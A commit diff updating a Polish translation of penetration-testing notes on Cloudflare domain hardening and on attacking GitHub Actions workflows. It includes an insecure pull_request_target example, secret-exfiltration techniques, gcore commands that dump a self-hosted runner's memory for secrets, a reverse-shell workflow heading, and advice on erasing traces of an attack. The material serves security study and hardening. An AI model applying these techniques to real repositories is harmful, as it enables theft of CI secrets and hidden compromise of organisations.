Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains

This commit is contained in:
Translator
2025-01-11 19:17:44 +00:00
parent 493ec5dee1
commit 11bcdd14f3
44 changed files with 2039 additions and 400 deletions
@@ -20,11 +20,11 @@ W każdej TLD skonfigurowanej w Cloudflare istnieją **ogólne ustawienia i usł
- [ ] Sprawdź **interesujące** (wrażliwe?) dane w rekordach DNS
- [ ] Sprawdź **subdomeny**, które mogą zawierać **wrażliwe informacje** tylko na podstawie **nazwa** (jak admin173865324.domin.com)
- [ ] Sprawdź strony internetowe, które **nie są** **proxy**
- [ ] Sprawdź **proxyowane strony internetowe**, które można **uzyskać bezpośrednio** przez CNAME lub adres IP
- [ ] Sprawdź **proxy strony internetowe**, które można **uzyskać bezpośrednio** przez CNAME lub adres IP
- [ ] Sprawdź, czy **DNSSEC** jest **włączony**
- [ ] Sprawdź, czy **CNAME Flattening** jest **używane** we **wszystkich CNAME**
- Może to być przydatne do **ukrycia podatności na przejęcie subdomen** i poprawy czasów ładowania
- [ ] Sprawdź, czy domeny [**nie są podatne na spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
- Może to być przydatne do **ukrycia podatności na przejęcie subdomeny** i poprawy czasów ładowania
- [ ] Sprawdź, czy domeny [**nie są podatne na spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **Email**
@@ -57,9 +57,9 @@ TODO
- [ ] W sekcji **`Page Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakakolwiek strona jest używana
- [ ] W sekcji **`API Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakiekolwiek API jest wystawione w Cloudflare
- [ ] W sekcji **`DDoS`** zaleca się włączenie **ochrony DDoS**
- [ ] W sekcji **`Ustawienia`**:
- [ ] W sekcji **`Settings`**:
- [ ] Sprawdź, czy **`Poziom bezpieczeństwa`** jest **średni** lub wyższy
- [ ] Sprawdź, czy **`Czas trwania wyzwania`** wynosi maksymalnie 1 godzinę
- [ ] Sprawdź, czy **`Czas wyzwania`** wynosi maksymalnie 1 godzinę
- [ ] Sprawdź, czy **`Sprawdzanie integralności przeglądarki`** jest **włączone**
- [ ] Sprawdź, czy **`Wsparcie dla Privacy Pass`** jest **włączone**
@@ -68,10 +68,10 @@ TODO
- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez przerwania tego dostępu.
- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, ciasteczka, odsyłacza...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają ciasteczka.
- Jeśli atak pochodzi od **zweryfikowanego bota**, przynajmniej **dodaj ograniczenie liczby połączeń** dla botów.
- Jeśli atak jest skierowany na **konkretną ścieżkę**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce.
- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN-y z **Narzędzi** w WAF.
- Jeśli atak dotyczy **konkretnej ścieżki**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce.
- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN w **Narzędziach** w WAF.
- Sprawdź, czy **Zarządzane zasady** mogą również pomóc w zapobieganiu wykorzystaniu podatności.
- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie konkretnym IP** i **agentom użytkownika.**
- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie dla konkretnych IP** i **agentów użytkownika.**
- W DDoS możesz **nadpisać niektóre zasady, aby były bardziej restrykcyjne**.
- **Ustawienia**: Ustaw **Poziom bezpieczeństwa** na **Wysoki** i na **Pod atakiem**, jeśli jesteś pod atakiem i **Sprawdzanie integralności przeglądarki jest włączone**.
- W Cloudflare Domains -> Analiza -> Bezpieczeństwo -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone
@@ -89,11 +89,11 @@ _Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_
### Caching
- [ ] W sekcji **`Konfiguracja`** rozważ włączenie **Narzędzia skanowania CSAM**
- [ ] W sekcji **`Configuration`** rozważ włączenie **Narzędzia skanowania CSAM**
### **Trasy pracowników**
_Powinieneś już sprawdzić_ [_cloudflare workers_](./#workers)
_Powinieneś już sprawdzić_ [_cloudflare workers_](#workers)
### Zasady
@@ -111,15 +111,15 @@ TODO
### Strony niestandardowe
- [ ] Opcjonalnie można skonfigurować strony niestandardowe, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub tryb pod atakiem)
- [ ] Opcjonalnie można skonfigurować strony niestandardowe, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub jestem w trybie ataku)
### Aplikacje
TODO
### Scrape Shield
### Ochrona przed zeskrobywaniem
- [ ] Sprawdź, czy **Zaszyfrowanie adresu e-mail** jest **włączone**
- [ ] Sprawdź, czy **Zamaskowanie adresu e-mail** jest **włączone**
- [ ] Sprawdź, czy **Wykluczenia po stronie serwera****włączone**
### **Zaraz**
@@ -12,7 +12,7 @@ Na tej stronie znajdziesz:
- Wykorzystywanie wyzwalaczy związanych z **pull request**
- Wykorzystywanie **innych technik zewnętrznego dostępu**
- **Pivoting** z już skompromitowanego repozytorium
- Na koniec sekcja o **technikach post-exploitation do wykorzystywania akcji od wewnątrz** (powodując wspomniane skutki)
- Na koniec sekcja o **technikach post-exploatacyjnych do wykorzystywania akcji od wewnątrz** (powodując wspomniane skutki)
## Podsumowanie skutków
@@ -28,7 +28,7 @@ Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w ramach **repozytori
## GITHUB_TOKEN
Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włącza tę opcję:
Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włączy tę opcję:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
@@ -80,8 +80,8 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtab }}
{{#endtabs }}
> [!OSTRZEŻENIE]
> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretnych**. Te tokeny mogą dać ci większe uprawnienia do repozytorium i organizacji.
> [!CAUTION]
> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.
<details>
@@ -143,7 +143,7 @@ Możliwe jest sprawdzenie uprawnień nadanych tokenowi Github w repozytoriach in
> [!NOTE]
> To byłby najłatwiejszy sposób na kompromitację akcji Github, ponieważ ten przypadek zakłada, że masz dostęp do **utworzenia nowego repozytorium w organizacji** lub masz **uprawnienia do zapisu w repozytorium**.
>
> Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić [techniki post eksploatacji](./#post-exploitation-techniques-from-inside-an-action).
> Jeśli jesteś w tej sytuacji, możesz po prostu sprawdzić [techniki post-eksploatacji](#post-exploitation-techniques-from-inside-an-action).
### Wykonanie z Utworzenia Repozytorium
@@ -153,7 +153,7 @@ W przypadku, gdy członkowie organizacji mogą **tworzyć nowe repozytoria** i m
Jeśli możesz **utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną akcję Github**, możesz ją **zmodyfikować**, **załadować** zawartość, a następnie **wykonać tę akcję z nowej gałęzi**. W ten sposób możesz **wyeksfiltrować sekrety na poziomie repozytorium i organizacji** (ale musisz wiedzieć, jak się nazywają).
Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie**, gdy **PR zostanie utworzony** lub gdy **jakikolwiek kod zostanie przesłany** (w zależności od tego, jak głośny chcesz być):
Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie**, gdy **zostanie utworzony PR** lub gdy **zostanie przesłany jakiś kod** (w zależności od tego, jak głośny chcesz być):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -167,10 +167,10 @@ branches:
```
---
## Wykonanie z Forka
## Forked Execution
> [!NOTE]
> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie akcji Github innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.
> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie Github Action z innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.
### `pull_request`
@@ -185,14 +185,14 @@ Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrz
Ponadto, domyślnie **zapobiega uprawnieniom do zapisu** i **dostępowi do sekretów** w docelowym repozytorium, jak wspomniano w [**dokumentacji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera**, gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera** gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN` ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
Atakujący mógłby zmodyfikować definicję akcji Github, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
> [!CAUTION]
> **Tak, jeśli atakujący zmieni w PR akcję github, która zostanie wyzwolona, jego akcja Github będzie używana, a nie ta z repozytorium źródłowego!**
> **Tak, jeśli atakujący zmieni w PR Github Action, która zostanie wyzwolona, jego Github Action będzie używana, a nie ta z repozytorium źródłowego!**
Ponieważ atakujący kontroluje również kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**.
Ponieważ atakujący również kontroluje kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**.
### **`pull_request_target`**
@@ -207,9 +207,9 @@ A ten będzie miał **dostęp do sekretów**.
### `workflow_run`
Wyzwalacz [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) pozwala na uruchomienie workflow z innego, gdy jest `ukończony`, `zażądany` lub `w trakcie`.
Wyzwalacz [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) pozwala na uruchomienie workflow z innego, gdy jest `completed`, `requested` lub `in_progress`.
W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Uruchom testy":
W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Run Tests":
```yaml
on:
workflow_run:
@@ -220,34 +220,34 @@ types:
Ponadto, zgodnie z dokumentacją: Workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał**.
Tego rodzaju workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może być **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**znaleźć w tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy z nich polega na tym, że **workflow_run** wyzwolony przez workflow pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\
Drugi polega na **przekazywaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i używaniu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**.
Drugi polega na **przekazywaniu** artefaktu z **niezaufanego** kodu do workflow **`workflow_run`** i używaniu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**.
### `workflow_call`
TODO
TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forkowanego PR
TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forka PR
## Wykorzystywanie Wykonania Forków
Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, że workflow githuba zostanie wykonany, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:
### Niezaufane wykonanie checkout
### Wykonanie niezaufanego checkoutu
W przypadku **`pull_request`** workflow będzie wykonywany w **kontekście PR** (więc wykona **złośliwy kod PR**), ale ktoś musi **najpierw to autoryzować** i będzie działał z pewnymi [ograniczeniami](./#pull_request).
W przypadku **`pull_request`** workflow będzie wykonywany w **kontekście PR** (więc wykona **złośliwy kod PR**), ale ktoś musi **najpierw to autoryzować** i będzie działał z pewnymi [ograniczeniami](#pull_request).
W przypadku workflow używającego **`pull_request_target` lub `workflow_run`**, który zależy od workflow, który może być wyzwolony z **`pull_request_target` lub `pull_request`**, kod z oryginalnego repozytorium zostanie wykonany, więc **atakujący nie może kontrolować wykonanego kodu**.
> [!CAUTION]
> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie pobierany jest kod PR):
> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Podano tylko jako przykład.
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Buduj i testuj
name: Build and test
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
@@ -266,15 +266,15 @@ arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Dziękuję!
Thank you!
</code></pre>
Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budujące i odwołane **pakiety są kontrolowane przez autora PR**.
Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budowania i odwołane **pakiety są kontrolowane przez autora PR**.
> [!WARNING]
> Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań do wykonywania w sposób bezpieczny, nawet jeśli akcja jest skonfigurowana w sposób niebezpieczny (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
### Wstrzyknięcia Skryptów w Kontekście <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Wstrzyknięcia skryptów w kontekście <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonania dowolnego kodu:**
@@ -282,7 +282,7 @@ Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/
gh-actions-context-script-injections.md
{{#endref}}
### **Wstrzyknięcie Skryptu GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **Wstrzyknięcie skryptu GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
Z dokumentacji: Możesz udostępnić **zmienną środowiskową dla wszystkich kolejnych kroków** w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją w pliku środowiskowym **`GITHUB_ENV`**.
@@ -344,7 +344,7 @@ path: ./script.py
### Przejęcie usuniętego repozytorium przestrzeni nazw
Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało **mniej niż 100 gwiazdek przed zmianą nazwy**, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie na utworzenie **repozytorium o tej samej nazwie** co usunięte.
Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało **mniej niż 100 gwiazdek przed zmianą nazwy**, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie utworz **repozytorium o tej samej nazwie** co usunięte.
> [!OSTRZEŻENIE]
> Jeśli akcja korzysta z repozytorium z nieistniejącego konta, nadal istnieje możliwość, że atakujący może utworzyć to konto i skompromitować akcję.
@@ -360,7 +360,7 @@ Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytk
### Zatrucie pamięci podręcznej
Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprimitował** **pakiet**, który jest następnie przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprimitować** ten workflow.
Pamięć podręczna jest utrzymywana między **wykonaniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprumituje** **pakiet**, który następnie jest przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprumotować** ten workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
### Zatrucie artefaktów
Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprimitować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprimitować inne workflow**:
Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprumotować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprumotować inne workflow**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -376,7 +376,7 @@ gh-actions-artifact-poisoning.md
---
## Post eksploatacja z akcji
## Posteksploatacja z akcji
### Uzyskiwanie dostępu do AWS i GCP za pomocą OIDC
@@ -392,7 +392,7 @@ Sprawdź następujące strony:
### Uzyskiwanie dostępu do sekretów <a href="#accessing-secrets" id="accessing-secrets"></a>
Jeśli wstrzykujesz treść do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów:
Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów:
- Jeśli sekret lub token jest ustawiony jako **zmienna środowiskowa**, można go bezpośrednio uzyskać przez środowisko, używając **`printenv`**.
@@ -425,7 +425,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Uzyskaj powłokę odwrotną z tajemnicami</summary>
<summary>Uzyskaj powłokę odwrotną z sekretami</summary>
```yaml
name: revshell
on:
@@ -466,11 +466,11 @@ key: ${{ secrets.PUBLISH_KEY }}
### Wykorzystywanie samodzielnie hostowanych runnerów
Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze nie-Github** jest wyszukiwanie **`runs-on: self-hosted`** w konfiguracji yaml akcji Github.
Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze nie-Github** jest wyszukiwanie **`runs-on: self-hosted`** w pliku konfiguracyjnym akcji Github.
**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej.
**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa akcja może **ukraść sekrety** innej.
W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie poprzez zrzut jego pamięci:
W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow w dowolnym kroku, zrzucając jego pamięć:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
@@ -479,12 +479,12 @@ Sprawdź [**ten post, aby uzyskać więcej informacji**](https://karimrahal.com/
### Rejestr obrazów Docker w Github
Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker w Github**.\
Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker wewnątrz Github**.\
Przykład można znaleźć w poniższym rozwijanym:
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
<summary>Github Action Build & Push Docker Image</summary>
```yaml
[...]
@@ -515,9 +515,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany na **`ghcr.io`**.
Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.
Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą tokena dostępu osobistego:
Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą osobistego tokena dostępu:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
@@ -525,21 +525,21 @@ docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Następnie użytkownik mógłby wyszukiwać **wyciekłe sekrety w warstwach obrazu Docker:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Wrażliwe informacje w logach Github Actions
Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unikać ich pokazywania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich wyświetlania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Zacieranie śladów
(Teknik z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot akcji. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo uzyskać **zawieszenie swojego konta GitHub, albo oznaczenie swojego konta**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR związane z eksploatacją).
(Teknika z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot akcji. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo sprawić, by Twoje **konto GitHub zostało zawieszone, albo oznacz swoje konto**. To **ukryje wszystkie Twoje działania** na GitHubie przed internetem (w zasadzie usunie wszystkie Twoje PR związane z eksploatacją).
Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swoją eksploatację niewidoczną na githubie.
Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że Twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swoją eksploatację niewidoczną na githubie.
> [!WARNING]
> Jedynym sposobem, aby organizacja dowiedziała się, że została celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostałby usunięty.
> Jedynym sposobem, aby organizacja dowiedziała się, że została zaatakowana, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostałby usunięty.
## Narzędzia